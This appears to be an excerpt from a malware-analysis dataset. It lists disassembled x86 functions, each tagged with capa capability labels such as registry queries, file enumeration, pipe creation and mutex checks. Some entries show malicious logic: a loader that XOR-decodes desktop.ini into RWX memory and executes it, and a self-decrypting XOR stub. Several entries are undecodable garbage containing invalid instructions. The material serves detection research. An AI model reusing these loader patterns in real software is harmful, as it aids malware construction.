joyce8/EMBER2024-capa huggingface dataset:
Function at 0x418c64
Capabilities:
Encode data using xor

Disassembly:
push eax
scasb al, byte es:[edi]
or eax, 0x97be1be7
sub dword [esi], esi
js 0x418c25
invalid
cmp ebp, dword [edx]
cdq
adc byte [ebp + ebx*2 - 0x2772ca63], ch
xor eax, 0x4f79d88d
cmp eax, 0xf70dd986
dec eax
dec edi
movsd dword es:[edi], dword [esi]
sal ecx, 1
pop esp
invalid

Function at 0x419610
Capabilities:
Get disk information

Disassembly:
sub esp, 8
mov eax, dword [0x4d2030]
mov edx, dword [0x4d2034]
mov dword [esp + 4], 0
push 0x4d2064
lea ecx, [eax + eax]
or ecx, edx
mov dword [esp + 4], ecx
fild qword [esp + 4]
fadd qword [0x4d2058]
fstp qword [0x4d2058]
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov dword [0x4d5acc], eax
add esp, 8
ret

Function at 0x4c7ebd
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4d2380
cmp edx, dword [eax]
je 0x4c7edf
add eax, 8
inc ecx
cmp eax, 0x4d2410
jl 0x4c7ed0
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4d2380]
jne 0x4c800d
mov eax, dword [0x4d7db0]
cmp eax, 1
je 0x4c7fe7
test eax, eax
jne 0x4c7f10
cmp dword [0x4d22a8], 1
je 0x4c7fe7
cmp edx, 0xfc
je 0x4c800d
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4c7f47
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004c88a0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004c8d30
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4c7f8a
lea eax, [ebp - 0x1a4]
push eax
call fcn.004c8d30
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4cde1c
push edi
call fcn.004cac00
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004c88a0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004c88b0
lea eax, [ebp - 0xa0]
push 0x4cddfc
push eax
call fcn.004c88b0
push dword [esi + 0x4d2384]
lea eax, [ebp - 0xa0]
push eax
call fcn.004c88b0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.004cab74
add esp, 0x2c
pop edi
jmp 0x4c800d
lea eax, [ebp + 8]
lea esi, [esi + 0x4d2384]
push 0
push eax
push dword [esi]
call fcn.004c8d30
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x10022a70
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x10022aaa
mov eax, dword [ebp + 0x10]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
movzx eax, word [eax]
and eax, 0xfff
mov ecx, dword [ebp - 0x10]
mov dword [ecx], eax
jmp 0x10022ad2
push 0
push 0x1a0f
push 0x1378
push 0x1b16
push 0xf5a
push 0x26e5
push 0x60e
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov esp, ebp
pop ebp
ret

Function at 0x10027722
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
and dword [ebp - 4], 0
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 0x10]
push eax
push 1
call fcn.100274ef
add esp, 0xc
mov eax, dword [ebp - 0x10]
movzx eax, word [eax]
cmp eax, 0x5a4d
je 0x10027752
xor eax, eax
jmp 0x10027896
push 0x5dfa
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 8]
push eax
push 0x6171
push 1
lea eax, [ebp + 8]
push eax
push 0x24c9
call fcn.1002752b
add esp, 0x1c
mov eax, dword [ebp - 8]
cmp dword [eax], 0x4550
je 0x10027789
xor eax, eax
jmp 0x10027896
push 1
push 0x1e3
push dword [ebp - 8]
lea eax, [ebp - 0xc]
push eax
call fcn.100272a4
add esp, 0x10
cmp dword [ebp - 0xc], 0
jne 0x100277ac
xor eax, eax
jmp 0x10027896
push 1
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 8]
push eax
call fcn.100275ad
add esp, 0x18
push 1
push 0x1749
push dword [ebp - 8]
push dword [ebp + 8]
push dword [ebp - 4]
call fcn.1001f3d6
add esp, 0x14
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
sub ecx, dword [eax + 0x34]
mov dword [ebp - 0x14], ecx
je 0x10027807
push 1
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 4]
push eax
push 0x7705
call fcn.10027638
add esp, 0x10
push dword [ebp - 4]
call fcn.10026210
pop ecx
test eax, eax
jne 0x10027818
xor eax, eax
jmp 0x10027896
push dword [ebp - 4]
push 1
call fcn.100223bc
pop ecx
pop ecx
mov eax, dword [ebp - 4]
mov eax, dword [eax]
cmp dword [eax + 0x28], 0
je 0x1002787e
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc]
add ecx, dword [eax + 0x28]
mov dword [ebp - 0x18], ecx
jne 0x10027843
xor eax, eax
jmp 0x10027896
push 0
push 1
push 0xdeadbeef
call dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x1002785c
xor eax, eax
jmp 0x10027896
push 1
push 0x6b88
push 0x56e8
push 0x16d
push 0x6728
lea eax, [ebp - 4]
push eax
call fcn.100276a5
add esp, 0x18
mov eax, dword [ebp - 4]
cmp dword [eax + 0x10], 0
je 0x1002788f
mov eax, dword [ebp - 4]
mov dword [ebp - 0x1c], eax
jmp 0x10027893
and dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x1c]
mov esp, ebp
pop ebp
ret
Function at 0x1003e6a0
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
mov dword [ebp - 0xc], 0x824a8c6a
xor ebx, ebx
push esi
mov dword [ebp - 0x14], 0x629aa810
mov esi, ecx
mov dword [ebp - 8], 0xc93ee327
push edi
mov dword [ebp - 0xc], ebx
jmp 0x1003e6e8
mov dword [ebp - 0x10], ebx
jmp 0x1003e6da
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x28], 0x88a137b1
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1003e6cc
cmp dword [ebp - 0x24], ebx
jne 0x1003e6ee
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0x11
jle 0x1003e6c7
dec dword [ebp - 8]
xor edi, edi
inc edi
push edi
push 0x1afc
push 0xb62
push esi
call fcn.10038e31
mov dword [ebp - 0x14], 0x44accb24
add esp, 0x10
mov dword [ebp - 0xc], 0xfffe
mov dword [ebp - 0x10], 0x5a83d87
mov dword [ebp - 8], 0x28451d77
mov dword [ebp - 8], ebx
jmp 0x1003e737
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x44], 0xaabecba2
inc dword [ebp - 8]
cmp dword [ebp - 8], 4
jl 0x1003e729
mov dword [ebp - 8], ebx
jmp 0x1003e750
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x20], 0xd62e
inc dword [ebp - 8]
cmp dword [ebp - 8], 2
jl 0x1003e742
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0x14], ebx
jne 0x1003e780
mov eax, dword [ebp - 0x3c]
push 3
pop ecx
sub ecx, eax
mov dword [ebp - 0x1c], ecx
je 0x1003e775
mov eax, edi
cmp dword [ebp - 0xc], ebx
jne 0x1003e777
mov eax, ebx
add eax, 0xffff8ffb
mov eax, ebx
je 0x1003e782
mov eax, edi
mov ecx, dword [ebp - 0x40]
xor edx, edx
imul ecx, eax
mov eax, dword [ebp - 0x40]
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setge dl
xor ecx, ecx
cmp edx, eax
setne cl
imul ecx, dword [ebp - 0x10]
test ecx, ecx
je 0x1003e815
cmp dword [ebp - 0x40], ebx
je 0x1003e7c0
mov dword [ebp - 0xc], ebx
jmp 0x1003e7b8
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x44], ebx
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 4
jl 0x1003e7ae
jmp 0x1003e81f
mov dword [ebp - 0x10], ebx
jmp 0x1003e7e0
mov eax, dword [ebp - 0x10]
cmp dword [ebp + eax*4 - 0x20], ebx
jne 0x1003e7e5
mov byte [ebp - 1], bl
cmp byte [ebp - 1], bl
je 0x1003e7dd
push ebx
call dword [sym.imp.GDI32.dll_CreatePenIndirect]
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jle 0x1003e7c5
mov byte [ebp - 1], bl
cmp byte [ebp - 1], bl
je 0x1003e81f
push ebx
push 0x1a0f
push 0x1378
push 0x1b16
push 0xf5a
push 0x26e5
push 0x60e
push ebx
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
jmp 0x1003e81f
mov dword [ebp - 0x14], 0xfcc1
inc dword [ebp - 0x14]
push esi
call fcn.10027722
mov dword [ebp - 0x14], 2
mov dword [ebp - 0x14], 0x73838a1f
pop ecx
mov dword [ebp - 0x14], 9
mov ecx, eax
mov dword [ebp - 8], ebx
jmp 0x1003e850
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x18], 0xc3099cf
inc dword [ebp - 8]
cmp dword [ebp - 8], edi
jl 0x1003e842
pop edi
pop esi
mov dword [ebp - 8], ebx
pop ebx
jmp 0x1003e86b
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x34], 0x10fe
inc dword [ebp - 8]
cmp dword [ebp - 8], 3
jl 0x1003e85d
inc dword [ebp - 0x30]
mov eax, ecx
mov esp, ebp
pop ebp
ret
Function at 0x10068f15
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10070330]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.10059d14
mov dword [ebp - 0x14], eax
cmp dword [0x1065d444], esi
jne 0x10069008
push 0x800
push esi
push 0x1000799c
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x10068f95
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x100690e8
push esi
push esi
push 0x1000799c
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x100690e8
push 0x100079b4
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100690e8
push eax
call ebx
push 0x100079c0
push edi
mov dword [0x1065d444], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x100079d0
push edi
mov dword [0x1065d448], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x100079e4
push edi
mov dword [0x1065d44c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x1065d454], eax
test eax, eax
je 0x10069005
push 0x10007a00
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x1065d450], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x1006902d
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x10069020
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x10069042
push 4
pop eax
jmp 0x100690ea
cmp dword [ebp - 0x14], esi
je 0x10069042
push dword [0x1065d444]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x10069027
mov eax, dword [0x1065d450]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x100690a0
cmp dword [0x1065d454], edi
je 0x100690a0
push eax
call ebx
push dword [0x1065d454]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x100690a0
test eax, eax
je 0x100690a0
call ecx
test eax, eax
je 0x10069095
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x10069095
test byte [ebp - 8], 1
jne 0x100690a0
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x100690d0
mov eax, dword [0x1065d448]
cmp eax, edi
je 0x100690cd
push eax
call ebx
test eax, eax
je 0x100690cd
call eax
mov esi, eax
test esi, esi
je 0x100690cd
mov eax, dword [0x1065d44c]
cmp eax, edi
je 0x100690cd
push eax
call ebx
test eax, eax
je 0x100690cd
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x1065d444]
call ebx
test eax, eax
je 0x100690e8
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x100690ea
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10056349
mov esp, ebp
pop ebp
ret
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10

Function at 0x17296c4
Capabilities:
Encode data using xor

Disassembly:
jmp 0x17296ce
pushal
call 0x17296d4
pop ebp
sub ebp, 0x10
sub ebp, 0x13296c4
jmp 0x17296ea
mov eax, 0x13296c4
add eax, ebp
add eax, 0x4c
mov ecx, 0x5b9
mov edx, 0x41a485a0
xor byte [eax], dl
inc eax
dec ecx
jne 0x1729701
jmp 0x1729714
sub ebp, dword [ebp + 0x2b]
sub dword [eax + 0x6121a0a0], ebx
pop eax
mov al, byte [0x6da3a0a0]
sbb byte [eax - 0x77e55f60], ah
mov al, byte [0x4257a0a0]
mov dword [0xac212b68], eax
mov al, byte [0x65a3a0a0]
invalid
Function at 0x1000dd1b
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov ebx, ecx
mov dword [ebp - 8], 4
push esi
xor esi, esi
push edi
mov dword [ebp - 4], esi
cmp dword [ebx + 0x78], esi
je 0x1000dd57
mov eax, dword [ebp + 8]
mov ecx, dword [ebx + 0x70]
mov dword [eax], ecx
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jne 0x10025fdc
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 8
lea ecx, [ebx + 0x54]
call fcn.1000e78b
test eax, eax
je 0x1000dd39
cmp dword [ebx + 0x78], esi
jne 0x1000de22
mov eax, dword [ebx]
mov edi, esp
mov esi, dword [eax + 0xc]
mov ecx, esi
call dword [0x100462b8]
mov ecx, ebx
call esi
cmp edi, esp
je 0x1000dd8a
mov ecx, 4
int 0x29
mov dword [ebx + 0x70], eax
lea eax, [ebp - 4]
push eax
xor eax, eax
cmp byte [ebx + 0x7c], al
setne al
dec eax
and eax, 0xfffffe00
add eax, 0x20219
push eax
push 0
push 0x10005b50
push 0x80000002
call dword [sym.imp.api_ms_win_downlevel_advapi32_l1_1_0.dll_RegOpenKeyExW]
test eax, eax
jne 0x1000de22
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebx]
push 0
mov edi, esp
mov esi, dword [eax + 4]
mov ecx, esi
call dword [0x100462b8]
mov ecx, ebx
call esi
cmp edi, esp
je 0x1000dde7
mov ecx, 4
int 0x29
push eax
push dword [ebp - 4]
call dword [sym.imp.api_ms_win_downlevel_advapi32_l1_1_0.dll_RegQueryValueExW]
test eax, eax
jne 0x1000de19
cmp dword [ebp - 0xc], 4
jne 0x1000de19
mov eax, dword [ebp - 0x10]
mov ecx, eax
and ecx, 0xf
cmp ecx, 4
ja 0x1000de19
mov dword [ebx + 0x70], ecx
xor ecx, ecx
inc ecx
shr eax, 0x13
and eax, ecx
mov dword [ebx + 0x78], ecx
mov dword [ebx + 0x74], eax
push dword [ebp - 4]
call dword [sym.imp.api_ms_win_downlevel_advapi32_l1_1_0.dll_RegCloseKey]
lea ecx, [ebx + 0x54]
call fcn.1000e7a7
jmp 0x1000dd39
mov eax, dword [ebx + 0x74]
mov dword [ecx], eax
jmp 0x1000dd4c
Function at 0x1000e333
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x100450f8]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push esi
push edi
mov dword [ebp - 0x218], edx
xor edi, edi
lea edx, [ebp - 0x214]
mov dword [ebp - 0x214], 0x208
push edx
lea edx, [ebp - 0x20c]
push edx
lea edx, [ebp - 0x210]
push edx
push edi
push eax
push ecx
call dword [sym.imp.api_ms_win_downlevel_advapi32_l1_1_0.dll_RegQueryValueExW]
mov esi, eax
test esi, esi
je 0x1000e3a5
mov eax, dword [ebp - 0x218]
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov dword [eax], edi
mov eax, esi
pop edi
pop esi
call fcn.10023280
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebp - 0x210], 1
push 2
pop edx
jne 0x1000e40d
push ebx
mov ebx, dword [ebp - 0x214]
xor ecx, ecx
shr ebx, 1
lea eax, [ebx + 1]
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
push 8
pop esi
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
je 0x1000e407
lea eax, [ebp - 0x20c]
mov ecx, edi
push eax
lea edx, [ebx + 1]
call fcn.1000e4a6
mov esi, eax
and eax, 0x1fff0000
cmp eax, 0x70000
je 0x1000e41d
test esi, esi
jne 0x1002605f
pop ebx
jmp 0x1000e389
cmp dword [ebp - 0x210], edx
je 0x1000e3b1
push 5
pop esi
jmp 0x1000e389
movzx esi, si
jmp 0x1000e3ff
push edi
call fcn.10041106
pop ecx
xor edi, edi
jmp 0x1000e407

Function at 0x1000e5da
Capabilities:
Check mutex on windows

Disassembly:
mov edi, edi
push esi
xor esi, esi
cmp dword [0x10045bf0], esi
je 0x1000e5eb
mov eax, esi
pop esi
ret
push 0x10005bb0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x10045bf0], eax
test eax, eax
je 0x100260c0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x1000e62a
push dword [0x10045bf0]
call dword [sym.imp.iertutil.dll_Ordinal_50]
mov esi, eax
test esi, esi
js 0x100260a8
push 0xffffffffffffffff
push dword [0x10045bf0]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x1002607f
sub esp, 0x10
mov ecx, 0x10045bf4
call fcn.1000e6e0
push dword [0x10045bf0]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
test esi, esi
jns 0x1000e5e7
jmp 0x100260a8
cmp eax, 0x80
je 0x1000e640
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x1000e65d
movzx esi, si
or esi, 0x80070000
jmp 0x1000e65b
push dword [0x10045bf0]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
and dword [0x10045bf0], 0
jmp 0x1000e5e7
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x1000e5e7
movzx esi, si
or esi, 0x80070000
jmp 0x1000e5e7

Function at 0x1000e771
Capabilities:
Check if file exists
Get file attributes

Disassembly:
test ecx, ecx
je 0x1000e788
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1000e788
test al, 0x10
jne 0x1000e788
mov al, 1
ret
xor al, al
ret
Function at 0x100362dd
Capabilities:
Enumerate files on windows

Disassembly:
push 0x274
mov eax, 0x1002564a
call fcn.10024524
mov edi, ecx
mov dword [ebp - 0x274], edi
mov eax, dword [ebp + 8]
xor ebx, ebx
mov esi, dword [ebp + 0xc]
inc ebx
and dword [ebp - 0x268], 0
mov dword [ebp - 0x278], eax
mov dword [ebp - 0x280], esi
call fcn.10036971
and dword [ebp - 4], 0
mov eax, dword [0x100450a0]
and dword [ebp - 0x26c], 0
mov dword [ebp - 0x270], eax
mov eax, dword [ebp - 0x278]
lea ecx, [ebp - 0x270]
add eax, 0xc
mov byte [ebp - 4], bl
push eax
mov dword [ebp - 0x27c], eax
call fcn.10041106
push dword [esi]
lea ecx, [ebp - 0x270]
call fcn.1001e710
lea eax, [ebp - 0x264]
push eax
push dword [ebp - 0x270]
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
mov dword [ebp - 0x268], esi
cmp esi, 0xffffffff
je 0x100363aa
lea eax, [ebp - 0x264]
mov ecx, edi
push eax
push dword [ebp - 0x27c]
call fcn.10035fa9
lea eax, [ebp - 0x264]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x10036376
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
and dword [ebp - 0x268], 0
mov edi, dword [ebp - 0x278]
lea ecx, [ebp - 0x270]
add edi, 4
push edi
call fcn.10041106
mov eax, dword [ebp - 0x280]
lea ecx, [ebp - 0x270]
push dword [eax]
call fcn.1001e710
lea eax, [ebp - 0x264]
push eax
push dword [ebp - 0x270]
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
mov dword [ebp - 0x268], esi
cmp esi, 0xffffffff
je 0x1003641e
mov ecx, dword [ebp - 0x274]
lea eax, [ebp - 0x264]
push eax
push edi
call fcn.10035fa9
lea eax, [ebp - 0x264]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x100363f2
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
lea ecx, [ebp - 0x270]
call fcn.1001ef70
jmp 0x10036453
mov eax, ebx
call fcn.10024476
ret 8
Function at 0x10041ad1
Capabilities:
Get disk information

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x83c
mov eax, dword [0x100450f8]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x834]
push esi
push eax
xor esi, esi
mov dword [ebp - 0x838], ebx
push ecx
mov dword [ebp - 0x834], esi
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
cmp dword [ebp - 0x834], esi
je 0x10041c9b
push dword [ebp - 0x834]
push esi
push 0x1000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x83c], eax
test eax, eax
je 0x10041c9b
push edi
push ecx
mov edx, ebx
mov ecx, eax
call fcn.10041cc4
test eax, eax
je 0x10041c77
xor eax, eax
mov word [ebp - 0x82c], ax
lea eax, [ebp - 0x82c]
push eax
push 0x207
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
test eax, eax
je 0x10041c77
mov eax, dword [0x1000cd90]
lea edi, [ebp - 0x82c]
movzx ecx, word [ebp - 0x82c]
mov ebx, esi
mov dword [ebp - 0xc], eax
mov ax, word [0x1000cd94]
mov word [ebp - 8], ax
mov dword [ebp - 0x830], edi
push 0x104
lea eax, [ebp - 0x41c]
mov word [ebp - 0xc], cx
push eax
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x10041c52
lea edi, [ebp - 0x41c]
lea ecx, [edi + 2]
mov ax, word [edi]
add edi, 2
cmp ax, si
jne 0x10041bbb
sub edi, ecx
sar edi, 1
cmp edi, 0x104
jae 0x10041c4c
push edi
lea eax, [ebp - 0x41c]
push eax
push dword [ebp - 0x838]
call sub.msvcrt.dll__wcsnicmp
add esp, 0xc
mov ebx, eax
neg ebx
sbb ebx, ebx
add ebx, 1
je 0x10041c4c
lea eax, [ebp - 0xc]
mov edx, 0x104
push eax
lea ecx, [ebp - 0x214]
call fcn.1000e4a6
mov ecx, dword [ebp - 0x838]
lea eax, [ecx + edi*2]
push eax
lea ecx, [ebp - 0x214]
call fcn.1004181f
mov edi, dword [ebp - 0x838]
lea eax, [ebp - 0x214]
push 0x104
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetLongPathNameW]
test eax, eax
jne 0x10041c4c
lea eax, [ebp - 0x214]
mov edx, 0x104
push eax
mov ecx, edi
call fcn.1000e4a6
mov edi, dword [ebp - 0x830]
movzx eax, word [edi]
add edi, 2
test ax, ax
jne 0x10041c52
mov dword [ebp - 0x830], edi
test ebx, ebx
jne 0x10041c8c
movzx eax, word [edi]
mov ecx, eax
test ax, ax
jne 0x10041b90
jmp 0x10041c8c
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x10041c8c
movzx esi, si
or esi, 0x80070000
push dword [ebp - 0x83c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
jmp 0x10041cb0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x10041cb0
movzx esi, si
or esi, 0x80070000
mov ecx, dword [ebp - 4]
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.10023280
mov esp, ebp
pop ebp
ret 8